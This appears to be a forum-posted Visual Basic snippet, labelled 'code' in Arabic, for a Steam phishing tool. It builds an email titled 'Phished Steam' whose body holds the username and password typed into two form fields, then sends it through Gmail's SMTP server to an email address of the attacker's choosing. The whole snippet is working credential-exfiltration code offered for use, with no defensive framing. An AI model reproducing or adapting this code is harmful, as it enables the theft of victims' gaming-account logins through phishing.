كود:
Set C0nw0nk = CreateObject("CDO.Message")
C0nw0nk.From = "GMAIL HERE!"
C0nw0nk.To = "ANY EMAIL HERE!"
C0nw0nk.Subject = "Phished Steam"
C0nw0nk.TextBody = "Username: " & Text1 & vbCrLf & "Password: " & Text2.Text & vbCrLf & " C0nw0nk | Steam Phisher "
C0nw0nk.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpusessl") = True
C0nw0nk.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate") = 1
C0nw0nk.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/sendusing") = 2
C0nw0nk.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpserver") = "smtp.gmail.com"
C0nw0nk.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpserverport") = 465
C0nw0nk.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/sendusername") = "GMAIL HERE!"
C0nw0nk.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/sendpassword") = "password here!"
C0nw0nk.Configuration.Fields.Update
C0nw0nk.Send
